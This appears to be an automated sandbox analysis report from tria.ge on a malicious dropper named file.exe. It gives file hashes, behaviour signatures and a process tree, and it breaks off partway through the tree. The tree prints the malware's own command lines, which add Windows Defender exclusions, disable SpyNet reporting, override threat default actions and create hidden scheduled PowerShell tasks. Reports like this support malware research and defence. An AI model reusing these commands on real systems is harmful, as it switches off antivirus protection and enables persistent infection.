Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    91s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/02/2023, 22:34

General

  • Target

    file.exe

  • Size

    7.3MB

  • MD5

    038ac6de85184acb806a11c68927124b

  • SHA1

    6489fdb08ba72e7c3280fc3fa1ba1642093337b8

  • SHA256

    f11cfa8c6ef5b3f0eba4f2748d802e8dbfae5056eac59d6e14d9223069af751b

  • SHA512

    7142e30b53356a4295441a5e200621e082fba712e5c9f8f877195f16056e4cb468b0292fb974982735f7eb2338bd4b0c4e56e2f1d9ee90ed898b383d4747b9b9

  • SSDEEP

    196608:91OZQqjN0X/565pO6N7PPZneRAZPN8Ljl32JLbE:3OZQqC6xZYAPwWw

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4076
    • C:\Users\Admin\AppData\Local\Temp\7zSE5D1.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4556
      • C:\Users\Admin\AppData\Local\Temp\7zSE9F7.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:4300
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1896
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3524
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:220
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:1888
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:476
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:312
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:224
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:640
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gQTGfFwtv" /SC once /ST 17:16:30 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:1628
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gQTGfFwtv"
                  4⤵
                    PID:632
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gQTGfFwtv"
                    4⤵
                      PID:4500
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bTnoAmfKdscdcboFzF" /SC once /ST 23:35:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\UVvLxQGpYuPzHAioU\zqNEwjEvGwoHmNL\REOYRvZ.exe\" u0 /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:2132
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3664
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:4384
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:3180
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:1340
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:2552
                      • C:\Users\Admin\AppData\Local\Temp\UVvLxQGpYuPzHAioU\zqNEwjEvGwoHmNL\REOYRvZ.exe
                        C:\Users\Admin\AppData\Local\Temp\UVvLxQGpYuPzHAioU\zqNEwjEvGwoHmNL\REOYRvZ.exe u0 /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:3004
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:3720
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:864
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:444
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:3940
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:4428
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:4420
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:1172
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:1600
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:1828
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:4052
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:380
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:3796
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:4568
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:1848
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:3528
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:228
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:2404
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:208
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:548
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:344
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:1424
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:3820
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:3100
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:1896
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:1892
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:1492
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WCgKimViPDUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\WCgKimViPDUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\byRmemrNmrtU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\byRmemrNmrtU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gFJICtNsU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gFJICtNsU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gNoCAXIxeWgcTvnHyUR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gNoCAXIxeWgcTvnHyUR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qmVkuzCNmUGJC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qmVkuzCNmUGJC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\YUmrVHZGaaMemFVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\YUmrVHZGaaMemFVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\UVvLxQGpYuPzHAioU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\UVvLxQGpYuPzHAioU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\jGfIkfyNUYzpFaAP\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\jGfIkfyNUYzpFaAP\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:2212
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WCgKimViPDUn" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:4956
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WCgKimViPDUn" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:4832
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WCgKimViPDUn" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:2116
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\byRmemrNmrtU2" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:2348
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\byRmemrNmrtU2" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:1832
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gFJICtNsU" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:2904
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gFJICtNsU" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:1884
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gNoCAXIxeWgcTvnHyUR" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:3552
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gNoCAXIxeWgcTvnHyUR" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:1868
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qmVkuzCNmUGJC" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:3560
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qmVkuzCNmUGJC" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:2752
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\YUmrVHZGaaMemFVB /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:2952
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\YUmrVHZGaaMemFVB /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:2420
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\UVvLxQGpYuPzHAioU /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:4348
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\UVvLxQGpYuPzHAioU /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:4952
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\jGfIkfyNUYzpFaAP /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:1992
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\jGfIkfyNUYzpFaAP /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:4440
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "gAMksaEQy" /SC once /ST 03:17:06 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:4800
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
